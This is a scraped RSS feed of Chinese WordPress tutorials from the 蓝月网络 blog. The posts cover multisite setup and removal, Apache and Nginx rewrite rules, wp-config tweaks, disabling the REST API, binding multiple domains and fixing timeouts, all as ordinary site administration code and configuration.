4.开启所需插件,到这里应该可以恢复主站点的正常访问了。但还是建议 登录 phpMyAdmin 删除多余的数据库表:

wp_blogs
wp_blog_versions
wp_registration_log
wp_signups
wp_site
wp_sitemeta
以及 wp_users 下的 spam 和 deleted 字段

注:这里举例的是默认的数据库前缀 wp_ ,请根据自己的实际数据库前缀操作。

删除前面6个数据库很简单,直接选中,然后删除即可:

不会操作 phpMyAdmin 的,请先百度下 phpMyAdmin教程。

删除 wp_users 下的 spam 和 deleted 字段,需要进入到 wp_users,然后执行 SQL 命令。

删除 spam 字段:

  1. ALTER TABLE wp_users 
  2. DROP COLUMN spam

删除 deleted 字段:

  1. ALTER TABLE wp_users 
  2. DROP COLUMN deleted

关于删除或添加某个数据库表的字段,可参考 http://www.w3school.com.cn/sql/sql_alter.asp

到这里,一切操作OK!

WordPress 关闭多站点模式,首发于蓝月网络。

]]>
WordPress 多站点网络共享图片媒体文件 https://lanyueer.com/network-shared-media/ Thu, 18 May 2017 02:32:54 +0000 http://lanyueer.com/?p=892 本文是《WordPress 多站点》系列教程的第 4 部分,该系列共包含以下8个部分:说到底,其实多站点网络下…

WordPress 多站点网络共享图片媒体文件,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 4 部分,该系列共包含以下8个部分:

说到底,其实多站点网络下的这些站点都是相对独立的,可以有自己的分类、文章、主题、插件、媒体库等等,正因为如此,默认情况下,一个站点只能看到上传到该站点的文件,你是没办法直接在媒体库中看到和使用其他站点的文件的(当然,如果你直接通过外部链接添加文件,那就另当别论了),那么如何才能在多站点模式下共享其他站点的文件呢,这个就需要借助 Network Shared Media 插件啦。

安装启用 Network Shared Media 插件以后,在多媒体的上传插入页面,你可以看到多出了“Network Shared Media”标签,然后就可以选择任何一个站点的文件了:


在后台插件安装界面搜索 Network Shared Media 即可在线安装,或者在下面下载:

下载 Network Shared Media

WordPress 多站点网络共享图片媒体文件,首发于蓝月网络。

]]>
WordPress 多站点网络克隆网站数据和设置 https://lanyueer.com/multisite-cloner/ Thu, 18 May 2017 02:26:53 +0000 http://lanyueer.com/?p=889 本文是《WordPress 多站点》系列教程的第 3 部分,该系列共包含以下8个部分:现在,很多主题作者都是用…

WordPress 多站点网络克隆网站数据和设置,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 3 部分,该系列共包含以下8个部分:

现在,很多主题作者都是用 WordPress 多站点网络来做主题演示站,那就遇到一个数据部署的问题,每次都要重新设置一些基本的选项,导入文章和附件等等,实在是麻烦。今天推荐一个专门解决这个问题的插件 Multisite Cloner ,它可以很方便地将网络中任何一个站点的设置和数据都克隆到另外一个站点,包括设置、文章和其他内容、主题选项和上传的文件等等。

在网络中安装启用 Multisite Cloner 插件以后,在设置界面选择一个站点作为默认站点:

然后在站点列表中,点击站点下的 Clone 即可:

在插件安装界面搜索 Multisite Cloner 即可在线安装,或者在这里下载 Multisite Cloner

下载 Multisite Cloner

WordPress 多站点网络克隆网站数据和设置,首发于蓝月网络。

]]>
添加/移除 WordPress 多站点网络的默认页面 https://lanyueer.com/add-remove-default-pages-in-wordpress-multisite/ Thu, 18 May 2017 02:18:53 +0000 http://lanyueer.com/?p=888 本文是《WordPress 多站点》系列教程的第 2 部分,该系列共包含以下8个部分:在 WordPress …

添加/移除 WordPress 多站点网络的默认页面,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 2 部分,该系列共包含以下8个部分:

在 WordPress 多站点网络中,只要你新建一个站点,都会自动创建一个默认页面(即“示例页面”)。在某些情况下,这个默认页面不是你想要的,或者说你想修改这个自定义页面的内容,比如引导这个开通站点的用户该做些什么,注意些什么等等。那你可以按照本文教程来实现。

将下面的代码添加在主站点的主题的 functions.php 文件或某个特定插件中:

  1. /**
  2.  * 添加/移除 WordPress 多站点网络的默认页面
  3.  * https://www.wpdaxue.com/add-remove-default-pages-in-wordpress-multisite.html
  4.  */
  5. add_action('wpmu_new_blog', 'wpb_create_my_pages', 10, 2);
  6.  
  7. function wpb_create_my_pages($blog_id, $user_id){
  8.   switch_to_blog($blog_id);
  9.  
  10. // 创建一个新页面
  11.   $page_id = wp_insert_post(array(
  12.     'post_title'     => 'About',
  13.     'post_name'      => 'about',
  14.     'post_content'   => 'This is an about page. Feel free to edit or delete this page.',
  15.     'post_status'    => 'publish',
  16.     'post_author'    => $user_id, // or "1" (super-admin?)
  17.     'post_type'      => 'page',
  18.     'menu_order'     => 1,
  19.     'comment_status' => 'closed',
  20.     'ping_status'    => 'closed',
  21.  ));  
  22.  
  23. // 查找和删除WordPress默认页面'Sample Page'
  24. //如果是简体中文,你可能需要修改'Sample Page'为'示例页面'
  25. $defaultPage = get_page_by_title( 'Sample Page' );
  26. wp_delete_post( $defaultPage->ID );
  27.  
  28.   restore_current_blog();
  29. }

上面的第一段代码是创建了一个标题为“About”,内容为“This is an about page. Feel free to edit or delete this page.”的默认页面;第二段是找到并删除标题为“Sample Page”的默认页面。

添加/移除 WordPress 多站点网络的默认页面,首发于蓝月网络。

]]>
WordPress 开启多站点(含Apache和Nginx伪静态规则) https://lanyueer.com/wordpress-multisite/ Wed, 17 May 2017 07:59:14 +0000 http://lanyueer.com/?p=884 本文是《WordPress 多站点》系列教程的第 1 部分,该系列共包含以下8个部分:WordPress 3.…

WordPress 开启多站点(含Apache和Nginx伪静态规则),首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 1 部分,该系列共包含以下8个部分:

WordPress 3.0以上的版本支持直接开启多站点模式,这样一来,你可以在一个后台切换多个站点进行管理。

最近打算折腾一个主题演示站,给每个主题使用独立的子站点来搭建演示,如果是Apache环境,配置就比较容易,但是笔者使用的是 Nginx,花了大量的时间测试了N多网络上的伪静态规则,最终找到了完美的解决方法。下面就分享下Linux下 Apache 和 Nginx 两种环境开启多站点的方法。Windows系统环境直接靠边站吧。

开启网络配置

在网站根目录下的 wp-config.php 添加:

  1. define('WP_ALLOW_MULTISITE', true);

配置多站点模式

刷新网站后台,访问 工具 > 配置网络,根据自己的需要选择“子域名”或者“子目录”模式,然后点击“安装”。

只有新安装的WordPress,并且绑定了域名,这时候才可以选择“子域名”模式。

如果你选择是的“子域名”,安装后,请将下面的代码添加到网站根目录下的 wp-config.php 下:

  1. define('MULTISITE', true);
  2. define('SUBDOMAIN_INSTALL', true);
  3. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  4. define('PATH_CURRENT_SITE', '/');
  5. define('SITE_ID_CURRENT_SITE', 1);
  6. define('BLOG_ID_CURRENT_SITE', 1);

如果选择的是“子目录”,则添加:

  1. define('MULTISITE', true);
  2. define('SUBDOMAIN_INSTALL', false);
  3. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  4. define('PATH_CURRENT_SITE', '/');
  5. define('SITE_ID_CURRENT_SITE', 1);
  6. define('BLOG_ID_CURRENT_SITE', 1);

添加伪静态规则

Apache 规则

如果你的服务器使用的是Aache环境,使用下面的代码替换网站根目录下的 .htaccess 里面的所有代码

子域名模式下的规则代码:

  1. RewriteEngine On
  2. RewriteBase /
  3. RewriteRule ^index\.php$ - [L]
  4.  
  5. # add a trailing slash to /wp-admin
  6. RewriteRule ^wp-admin$ wp-admin/ [R=301,L]
  7.  
  8. RewriteCond %{REQUEST_FILENAME} -f [OR]
  9. RewriteCond %{REQUEST_FILENAME} -d
  10. RewriteRule ^ - [L]
  11. RewriteRule ^(wp-(content|admin|includes).*) $1 [L]
  12. RewriteRule ^(.*\.php)$ $1 [L]
  13. RewriteRule . index.php [L]

子目录模式下的规则代码:

  1. RewriteEngine On
  2. RewriteBase /
  3. RewriteRule ^index\.php$ - [L]
  4.  
  5. # add a trailing slash to /wp-admin
  6. RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]
  7.  
  8. RewriteCond %{REQUEST_FILENAME} -f [OR]
  9. RewriteCond %{REQUEST_FILENAME} -d
  10. RewriteRule ^ - [L]
  11. RewriteRule ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]
  12. RewriteRule ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]
  13. RewriteRule . index.php [L]

Nginx 规则

服务器使用的是 军哥 LNMP 1.3 安装包配置的。

假设你的网站为 yourdomain.com,那么你可以编辑这个配置文件:

  1. vi /usr/local/nginx/conf/vhost/yourdomain.com.conf

在最后一个 } 的前面添加下面的代码:

  1. #ignored: “-” thing used or unknown variable in regex/rew
  2. rewrite ^/([_0-9a-zA-Z-]+/)?wp-admin$ /$1wp-admin/ permanent;
  3. if (-f $request_filename){
  4. 	set $rule_2 1;
  5. }
  6. if (-d $request_filename){
  7. 	set $rule_2 1;
  8. }
  9. if ($rule_2 = "1"){
  10. #ignored: “-” thing used or unknown variable in regex/rew
  11. }
  12. rewrite ^/([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) /$2 last;
  13. rewrite ^/([_0-9a-zA-Z-]+/)?(.*.php)$ /$2 last;
  14. rewrite /. /index.php last;

以上的规则对于 子域名 和 子目录 模式都正常使用,但是,如果你选择的是 子域名 模式,还需要找到:

  1. server_name yourdomain.com;

添加一个泛域名 *.yourdomain.com,如下:

  1. server_name yourdomain.com *.yourdomain.com;

保存文件,然后重启服务器:

  1. /root/lnmp restart

然后在你的域名管理那里添加一条泛域名 *.yourdomain.com 解析到主机IP(或者分别解析你即将要使用的子域名到主机IP),这样一来,创建子域名站点时,就可以正常访问了。

附:以下是 Nginx 下最完整的多站点配置代码,实际使用时,请根据自己的实际修改域名及网站目录,同时建议删除含有中文的行:

  1. # 根据自己的实际修改下面的域名
  2. log_format  yourdomain.com  '$remote_addr - $remote_user [$time_local] "$request" '
  3.              '$status $body_bytes_sent "$http_referer" '
  4.              '"$http_user_agent" $http_x_forwarded_for';
  5. server
  6.         {
  7.                 listen       80;
  8.                 # 根据自己的实际修改下面的域名
  9.                 server_name yourdomain.com *.yourdomain.com;
  10.                 index index.html index.htm index.php default.html default.htm default.php;
  11.                 # 注意修改下面的网站目录
  12.                 root  /mnt/wwwroot/yourdomain.com; 
  13.  
  14.                 #include wordpress.conf;
  15.                 #以下是 lnmp 1.0 的 wordpress.conf 规则,也就是上一行 include wordpress.conf 里面的
  16.                 location / {
  17.                     if (-f $request_filename/index.html){
  18.                         rewrite (.*) $1/index.html break;
  19.                     }
  20.                     if (-f $request_filename/index.php){
  21.                         rewrite (.*) $1/index.php;
  22.                     }
  23.                     if (!-f $request_filename){
  24.                         rewrite (.*) /index.php;
  25.                     }
  26.                 }
  27.                 # wordpress.conf 规则 结束
  28.  
  29.                 location ~ .*\.(php|php5)?$
  30.                         {
  31.                                 try_files $uri =404;
  32.                                 fastcgi_pass  unix:/tmp/php-cgi.sock;
  33.                                 fastcgi_index index.php;
  34.                                 include fcgi.conf;
  35.                         }
  36.  
  37.                 location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
  38.                         {
  39.                                 expires      30d;
  40.                         }
  41.                 location ~ .*\.(js|css)?$
  42.                         {
  43.                                 expires      12h;
  44.                         }
  45.  
  46.                 access_log  /home/wwwlogs/huchangmeng.com.log  huchangmeng.com;
  47.  
  48.                 #ignored: “-” thing used or unknown variable in regex/rew
  49.                 rewrite ^/([_0-9a-zA-Z-]+/)?wp-admin$ /$1wp-admin/ permanent;
  50.                 if (-f $request_filename){
  51.                     set $rule_2 1;
  52.                 }
  53.                 if (-d $request_filename){
  54.                     set $rule_2 1;
  55.                 }
  56.                 if ($rule_2 = "1"){
  57.                     #ignored: “-” thing used or unknown variable in regex/rew
  58.                 }
  59.                 rewrite ^/([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) /$2 last;
  60.                 rewrite ^/([_0-9a-zA-Z-]+/)?(.*.php)$ /$2 last;
  61.                 rewrite /. /index.php last;
  62.  
  63.         }

修改固定链接结构

主站点

这里说的主站的,默认就是最初安装时的主域名,比如 yourdomain.com

如果是 子域名 模式,你可以直接在这个主站的的 设置 > 固定链接 直接修改即可。

如果是 子目录 模式,主站点的文章都自动在链接中添加了 /blog/,如果你直接在这个子目录站点的 设置 > 固定链接 设置结构,是无法去除 /blog/ 的,而且在 lnmp 环境下,直接修改会自动添加 index.php。

解决办法是,访问 所有站点,点击主站点的编辑:

切换到“设置”标签,找到 Permalink Structure ,在这里直接填写 固定链接结构(比如 /%postname%.html),保存即可。这样就可以去除 /bolg/ ,同时不会添加 index.php,非常完美。

子站点

子站点直接在这个站点的后台 设置 > 固定链接 那里设置即可。

到这里,一切基本的设置都完成啦!

WordPress 开启多站点(含Apache和Nginx伪静态规则),首发于蓝月网络。

]]>
禁止WordPress程序REST API功能且移除wp-json链接 https://lanyueer.com/disable-json-api/ Wed, 26 Apr 2017 10:18:59 +0000 http://lanyueer.com/?p=878 毋庸置疑WordPress算是当前比较好用的PHP程序,基本上个人博客、企业网站,小型商务网站都可以使用到。而…

禁止WordPress程序REST API功能且移除wp-json链接,首发于蓝月网络。

]]>
毋庸置疑WordPress算是当前比较好用的PHP程序,基本上个人博客、企业网站,小型商务网站都可以使用到。而且WordPress官方的更新、第三方的插件主题丰富,让这个程序变得越来越丰富多样,但是随着不断的升级功能,也会增加程序的负担和不安全因素。

比如从WordPress4.4开始增加REST API功能, 对于一般的网站是没有需要的,反而会拖累网站的速度,所以我们尽可能的禁止掉这些不必要的功能需求。我们在源代码中可以看到类似的链接字符。

这里将记录下如何解决这个问题的过程,一来需要移除掉这个链接,二来需要禁止REST API功能。

第一、非插件方式

  1. //屏蔽 REST API
  2. add_filter('json_enabled', '__return_false' );
  3. add_filter('json_jsonp_enabled', '__return_false' );
  4. add_filter('rest_enabled', '__return_false');
  5. add_filter('rest_jsonp_enabled', '__return_false');
  6. // 移除头部 wp-json 标签和 HTTP header 中的 link
  7. remove_action('wp_head', 'rest_output_link_wp_head', 10 );
  8. remove_action('template_redirect', 'rest_output_link_header', 11 );

将脚本丢到当前主题的Functions.php文件中。但是,我们会发现链接是去掉了,但是打开wp-josn还是可以看到输出字符。然后再启用到一个插件才可以解决。

第二、disable-json-api插件

插件地址:https://wordpress.org/plugins/disable-json-api/
下载和启动插件之后,可以彻底解决输出字符问题。

禁止WordPress程序REST API功能且移除wp-json链接,首发于蓝月网络。

]]>
使用 WordPress 企业主题开发企业网站经验总结 https://lanyueer.com/wordpress-enterprice-theme-develop/ Sun, 16 Apr 2017 12:42:02 +0000 http://lanyueer.com/?p=835 不管是国产的CMS织梦,PHPCMS,还是历史比较悠久的Dupal,Joomla,还是国际上最流行的WordP…

使用 WordPress 企业主题开发企业网站经验总结,首发于蓝月网络。

]]>
不管是国产的CMS织梦,PHPCMS,还是历史比较悠久的Dupal,Joomla,还是国际上最流行的WordPress,开发企业网站都能达到一样的效果。WordPress开发企业网站说白了就是开发一个WordPress企业主题。而企业主题和其他WordPress主题不一样的地方主要就是页面布局、页面结构和所管理的内容类型。

WordPress 企业主题常见内容模块

首先,企业主题一定有一个导航菜单。导航里面一般会包括首页,关于我们,新闻动态,产品或服务,案例展示、人才招聘,联系方式,在线留言等模块。

  • 而首页一般会有一个幻灯banner,用几张冲击力比较强的图片来显示企业的口号或主打产品,下面是一个新闻列表,主要产品列表,企业简介,联系方式等。也就是说,首页一般会把导航上的栏目,浓缩一下,挑这些栏目中最重要的部分在首页展示。
  • 而新闻列表页面一般是标题列表,或者图片配新闻标题和两三行新闻摘要。
  • 案例展示一般是一些案例的图片列表,展现方式和下面的产品列表通常比较类似。
  • 产品列表一般会是一个产品图片加产品名称的列表页面。如果涉及在线销售,还会有一个产品价格及相关功能。
  • 人才招聘类似新闻或产品列表页面,是一个列表,显示一些招聘信息。
  • 至于关于我们、联系方式、在线留言栏目,一般都是单页面。

WordPress 企业主题开发思路

使用文章类型管理不同类型的数据

和博客主题不同,WordPress 企业主题里面的内容类型可能比较丰富,有新闻、有产品、有些还会有案例展示。而每种类型的内容的数据经常会不相同。这时候用 WordPress 的自定义文章类型新建一个文章类型来管理每种类型的数据最方便不过了。

使用自定义分类方法添加不同类型数据的特殊内容

除了标准的标题、正文、分类目录、标签特色图像之外,每种类型的内容可能还会有一些附加的数据,比如:

  • 产品会有产地、品牌、价格、尺寸等数据
  • 案例会有客户名称、案例图片、完成日期等数据
  • 人才招聘信息会有学历要求、工作经验、岗位职责等数据

如果这些数据只需要在内容的正文中出现,最直接的方法是添加到正文里面。但是有时候我们需要给这些内容添加一些特殊的样式,这时候直接添加到内容里面就不方便管理了,我们可以用自定义字段插件如:Metabox、Piklist|、Advanced Custom Fields 等插件来添加这些自定义数据的数据单元。在前台显示的时候直接使用 WordPress 标准的get_post_meta 函数获取显示即可。

开发企业主题时的常用插件

  • 对于列表页来说,一般都会有一个分页系统,需要用到wp-pagenavi数字分页插件。
  • 如果需要显示浏览量,需要用到 wp-pageviews 插件。
  • 上面提到过的自定义字段插件:Metabox、Piklist、Advanced Custom Field。
  • 因为WordPress的性能问题,我们需要添加一个缓存插件,推荐使用wp-rocket缓存插件。
  • SEO是网站运行中必不可少的工作,WordPress中最好的SEO插件恐怕要数 yoast SEO插件了。

以上介绍的插件、同一类型的插件使用一个即可、同类插件千万不要同事使用两个或两个以上,万一出现冲突、造成数据丢失,损失就大了。

企业主题开发好之后,我们一般需要帮助企业培训一两名网站管理人员,因为 WordPress 后台的操作管理都非常简单,所以后台的培训工作非常简单,通常演示一两遍即可掌握得差不多了。

使用 WordPress 企业主题开发企业网站经验总结,首发于蓝月网络。

]]>
在WordPress主题之外使用WordPress查询 https://lanyueer.com/use-wordpress-queries-outside-of-the-wordpress-theme/ Sun, 16 Apr 2017 12:37:22 +0000 http://lanyueer.com/?p=834 在使用WordPress做WEB应用开发的时候,我们经常需要在WordPress主题或插件外边使用WordPr…

在WordPress主题之外使用WordPress查询,首发于蓝月网络。

]]>
在使用WordPress做WEB应用开发的时候,我们经常需要在WordPress主题或插件外边使用WordPress的功能,其中最常用的就是WordPress查询,如果直接使用,肯定会提示找不到函数,因为这些功能函数没有引入进来,我们只需要引入一下WordPress的这些核心功能就可以了。

想引入WordPress的核心功能,只需要包含以下wp-blog-header.php这个文件就可以了。

  1. // 包含WordPress主题的主要文件
  2. define('WP_USE_THEMES', false);
  3. require('/server/path/to/your/wordpress/site/htdocs/blog/wp-blog-header.php');

上面的路径是文件在主机的绝对路径,路径一定要写对了才行。

然后,我们就可以在我们的程序使用自定义查询获取WordPress数据了。

  1. <?php while (have_posts()): the_post(); ?>
  2.     <h2><?php the_title(); ?></h2>
  3.     <?php the_excerpt(); ?>
  4.     <p><a href="<?php the_permalink(); ?>" class="red">Read more...</a></p>
  5. <?php endwhile; ?>

在WordPress主题之外使用WordPress查询,首发于蓝月网络。

]]>
AVADA如何在WooCommerce的Product编辑页使用Page Builder? https://lanyueer.com/use-the-page-builder-on-woocommerces-product-edit-page/ Thu, 09 Mar 2017 10:24:08 +0000 http://lanyueer.com/?p=827 1 用服务器文件目录或者ftp的方式找到后台文件 路径为:根目录/wp-content/plugins/fus…

AVADA如何在WooCommerce的Product编辑页使用Page Builder?,首发于蓝月网络。

]]>
1 用服务器文件目录或者ftp的方式找到后台文件
路径为:根目录/wp-content/plugins/fusion-core/admin/
文件只有一个,就是叫class-pagebuilder.php的那货,编辑它

2 找到第53行:

  1. var $allowed_post_types = array('page','post','avada_faq','avada_portfolio');

修改为

  1. var $allowed_post_types = array('page','post','avada_faq','avada_portfolio','product');

即在page builder的可用模块里面添加上woo commerce的product保存即可

3 检查wp后台是否生效

AVADA如何在WooCommerce的Product编辑页使用Page Builder?,首发于蓝月网络。

]]>
实用的 WordPress wp-config 小技巧 https://lanyueer.com/super-useful-wp-config-tips/ Tue, 13 Dec 2016 13:55:18 +0000 http://lanyueer.com/?p=810 wp-config.php 文件是 WordPress 站点中与数据库无关的配置文件,关于 WordPress…

实用的 WordPress wp-config 小技巧,首发于蓝月网络。

]]>
wp-config.php 文件是 WordPress 站点中与数据库无关的配置文件,关于 WordPress 网站的安装设置都在这个文件里面,在这篇文章中,我将为大家分享一些非常实用的配置小技巧,帮助提高 WordPress 网站的安全性和性能。

保持站点数据库精简

在比较大型的 WordPress 站点中,保持数据库精简和干净是非常重要的,而 WordPress 数据库中保存了一些非必要的数据,比如缓存和文章版本。

我们可以非常简单的限制文章的版本数量,以免文章版本占用过多的数据库空间,拖慢数据库性能。在 wp-config.php 文件中加入下面一行代码,即可限制文章的历史版本数为 3,对于不经常修改文章的网站来说,3个文章历史版本足够用了。

  1. define('WP_POST_REVISIONS', 3);

如果你觉得自己的站点不需要这个功能,可以使用下面的代码彻底禁用文章历史版本功能。

  1. define( 'WP_POST_REVISIONS', false );

WordPress 在数据库中保存了移动到回收站中的文章、页面、附件和评论,默认情况下,30天后,WordPress 会自动清理回收站中的数据,我们可以自定义这些数据在回收站中保存的时间,下面的代码,设置了这个时间为1天,数据移动到回收站中一天之后,会被自动清理。

  1. define( 'EMPTY_TRASH_DAYS', 1 );

在后台编辑图片时,WordPress会创建一个原图的副本,以便我们可以随时还原,我们可以通过设置改变这个行为,让 WordPress 在编辑图片时,直接覆盖原图,以节省服务器空间,直接定义常量IMAGE_EDIT_OVERWRITE 的值为 TRUE 即可。

  1. define( 'IMAGE_EDIT_OVERWRITE', true );

提高安全性

如果你的主机支付 SSL,为了确保登录帐号密码不被泄露,我们应该为 WordPress 启用强制 SSL 登录,加密登录过程中的用户名和密码数据,在 wp-config.php文件中加入以下配置即可实现这个功能。

  1. define('FORCE_SSL_LOGIN', true);

同时,我们也可以设置 WordPress 后台全部使用 SSL 协议。

  1. define('FORCE_SSL_ADMIN', true);

防止不懂技术的客户不小心损坏程序

为不懂技术的客户开发 WordPress 站点的时候,经常会有客户不小心在后台修改坏了 WordPress 主题或插件的代码、甚至删除了主题或插件导致站点损坏。其实对于不懂技术的客户,允许他们在后台修改代码或者网站程序文件是没有必要的,同时也是非常危险的,万一不小心弄坏了网站,只会为双方带来不必要的麻烦。为了解决这个问题,WordPress 为我们提供了一条配置,可以让我们禁用掉所有在后台修改程序文件的功能,包括主题插件安装、修改、升级等操作。

在wp-config.php文件中加入以下代码即可禁用所有后台程序文件修改操作,同时发布文章、上传文件也不会受到影响。

  1. define('DISALLOW_FILE_EDIT', true);
  2. define('DISALLOW_FILE_MODS',true);

另外一个导致 WordPress 站点不安全的错误是,客户往往不会主动升级 WordPress 内核、主题、插件,因为客户很可能不知道这到底是干什么用的,升级会不会破坏网站。这种情况下,保证 WordPress 随时更新到最新版本就是我们的责任了,设置以下代码可以让 WordPress 在有新版本可用时及时自动更新到最新版本。WordPress 主题和插件默认情况下会自动更新。

  1. define('WP_AUTO_UPDATE_CORE', true);

FTP 设置

如果的WordPress站点在每次需要更新时都提示你填写FTP凭据,我们实际上可以通过使用wp-config.php 来记住FTP 登录信息来节省大量的时间。下面的三个常量会告诉WordPress你的FTP主机、用户名和密码是什么。这样,我们不必每次升级时都提交这些信息。

  1. define('FTP_HOST', 'ftp.yoursite.com');
  2. define('FTP_USER', 'Your_FTP_Username');
  3. define('FTP_PASS', 'Your_FTP_password');

一些优质的主机托管公司会为我们提供SSL FTP, 如果我们的主机支持SSL FTP,请确保打开SSL FTP连接增加额外的安全性。

  1. define('FTP_SSL', true);

程序调试

当我们的网站出现错误时,我们可以通过在wp-config.php中打开调试模式,查看错误的具体信息,以方便排除错误。

  1. define('WP_DEBUG', true);

由于将错误将显示在网站上会影响访问者浏览,一种更优雅的调试方式是使用调试日志。在WordPress中,实现这个功能很容易:设置 WP_DEBUG 为 true 后,再设置 WP_DEBUG_LOG 为 true,这将使 WordPress 将所有 PHP 错误或警告信息保存到 wp-content 目录中。

  1. define( 'WP_DEBUG_LOG', true );

如果网站的数据库损坏了,我们可以设置允许 WordPress 自行修复,WP_ALLOW_REPAIR 为true即可。

  1. define( 'WP_ALLOW_REPAIR', true );

请注意,以上常量仅在调试站点时使用,一旦你找到并解决了问题,记得将上面的常量值设置为false!

提高性能

wp-config.php文件允许我们调整一些调整,以确保 WordPress 获得更好的性能。首先要增加允许 WordPress 使用的最大内存。请注意,如果您的主机服务商限制了内存,这个设置是没用的。

  1. define('WP_MEMORY_LIMIT', '96M');

如果我们的服务器上同时运行的有其他程序,我们可以限制 WordPress 使用的内存量,以免 WordPress 使用过多内存而影响其他程序工作。

  1. define( 'WP_MAX_MEMORY_LIMIT', '256M' );

实用的 WordPress wp-config 小技巧,首发于蓝月网络。

]]>
WordPress如何绑定多个域名教程 https://lanyueer.com/wordpress-uses-multiple-domains/ Tue, 13 Dec 2016 06:04:33 +0000 http://lanyueer.com/?p=808 使用过wordpress的站长应该都清楚,wordpress在安装的时候会默认绑定当前的域名,后续绑定其他的域…

WordPress如何绑定多个域名教程,首发于蓝月网络。

]]>
使用过wordpress的站长应该都清楚,wordpress在安装的时候会默认绑定当前的域名,后续绑定其他的域名但是页面的链接也还是安装时候的域名。那么今天给大家分享一下wordpress绑定多个域名或者取消域名绑定限制的方法。

1. 打开网站根目录下的wp-config.php,在define(‘WP_DEBUG’, false);后面添加下面内容:

  1. define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
  2. define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);

这两句的意思就是设置网站域名为当前访问的域名,也就是取消了域名的绑定,如果不需要任意域名都能访问,只是几个域名的话,可以这样:

  1. $domain = array("www.a.com", "www.b.com", "www.c.com"); 
  2. if(in_array($_SERVER['HTTP_HOST'], $domain)){
  3.     define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
  4.     define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);
  5. }

把指定的域名放在$domain数组里面即可。

注意:

如果是https,请修改代码里面的http://为https://;
如果网站安装在二级目录,则将’http://’ . $_SERVER[‘HTTP_HOST’]修改为’http://’ . $_SERVER[‘HTTP_HOST’].’/对应目录名’
2. 在完成上面的工作以后,你的网站已经可以实现多域名访问了,但是还是有一个问题,那就是静态资源,在wordpress上传的图片插入文章里面,地址是固定的,修改域名以后,并不会修改图片的域名,所以还需要修改静态文件地址,使用以下代码可以解决:

  1. define( 'WP_CONTENT_URL', '/wp-content');

把这段代码加入上面的代码下面即可。

OK,到这里你的网站已经完美的突破了域名绑定的限制了。

WordPress如何绑定多个域名教程,首发于蓝月网络。

]]>
WordPress 前台和后台设置不同的语言 https://lanyueer.com/different-langues-for-frontend-and-admin/ Mon, 04 Jul 2016 13:36:01 +0000 http://lanyueer.com/?p=612 一般情况下,我们在后台 设置 – 常规 那里选择了什么语言,我们的网站的前台和后台都会应用这个语言。 2016…

WordPress 前台和后台设置不同的语言,首发于蓝月网络。

]]>
一般情况下,我们在后台 设置 – 常规 那里选择了什么语言,我们的网站的前台和后台都会应用这个语言。

2016-07-02_090232_wpdaxue_com

在给客户定制网站的时候,对方需要前台显示英文,后台显示中文。其实也是可以做到的,将下面的代码添加到主题的 functions.php 即可:

  1. /**
  2.  * setup one language for admin and the other for theme
  3.  * must be called before load_theme_textdomain()
  4.  */
  5. function cmp_set_my_locale($locale) {
  6.     $locale = ( is_admin() ) ? "zh_CN" : "en_US";
  7.     setlocale(LC_ALL, $locale );
  8.     return $locale;
  9. }
  10. add_filter( 'locale', 'cmp_set_my_locale' );

注意看第6行代码,前面的 zh_CN 是中文,后面的 en_US 是英文,整句代码的意思就是后台使用中文,前台用英文。

特别需要注意的是,这里的前台是指你的 WordPress 主题,也就是说,你的主题必须是支持所设置的那种语言才可以正常显示。假如你的主题自身都没有英文语言包,也就是说不支持显示为英文,即使通过上面的函数设置了前台英文,也一样不会显示英文!

WordPress 前台和后台设置不同的语言,首发于蓝月网络。

]]>
WordPress 解决程序超时的问题(Timeout 错误) https://lanyueer.com/timeout-method/ Fri, 10 Jun 2016 14:44:04 +0000 http://lanyueer.com/?p=609 超时是 WordPress 比较常见的一种致命错误,主要发生在程序、插件的更新和在线安装或搜索主题、插件的时候…

WordPress 解决程序超时的问题(Timeout 错误),首发于蓝月网络。

]]>
超时是 WordPress 比较常见的一种致命错误,主要发生在程序、插件的更新和在线安装或搜索主题、插件的时候,大都是因为服务器网络不好,无法在规定的程序最长时间内下载好需要的内容。

WordPress 解决程序超时的问题(Timeout 错误)

解决方法一

这种问题比较好解决,无非就是手动提高程序执行的最长时间,可以在 WordPress 根目录的 .htaccess 文件的开头添加下边的代码:

php_value max_execution_time 300

解决方法二

如果你懒得弄,直接安装 WP Maximum Execution Time Exceeded 插件它就会给你办好了,非常轻松!

WordPress 解决程序超时的问题(Timeout 错误),首发于蓝月网络。

]]>
降级 WordPress 到以前的版本 https://lanyueer.com/downgrade/ Fri, 10 Jun 2016 14:34:10 +0000 http://lanyueer.com/?p=599 WordPress 是一个更新很频繁的软件,因为有完善的在线更新系统,所以更新起来也非常简单、轻松。虽然我一直…

降级 WordPress 到以前的版本,首发于蓝月网络。

]]>
WordPress 是一个更新很频繁的软件,因为有完善的在线更新系统,所以更新起来也非常简单、轻松。虽然我一直推荐使用最新版本,但是如果你喜欢的插件不支持新版本,或者新版本出现了无法忍受的 Bug,也可以选择暂缓升级计划。

但如果已经更新,就需要考虑如何降级 WordPress 为之前的版本了。降级 WordPress 不同于升级那么轻松,虽然理论上可以降级到任何版本,但是如果相隔时间太久,可能会因为数据库结构的变化而降级失败。

备份数据

首先,如果网站流量很大并且不急于降级的话,建议在深夜访客较少时进行降级操作,避免因为我们的操作导致短时间无法访问,给用户造成困扰。

因为降级会大量的修改文件和数据库,所以在这之前一定要临时备份数据库,并且备份网站文件(可选),以防万一。

手动降级 WordPress 版本

备份完成之后就可以正式开始降级工作了,严格按照本教程的顺序进行操作,可以把操作过程中,网站无法访问的时间缩到最短,流量损失降到最低。

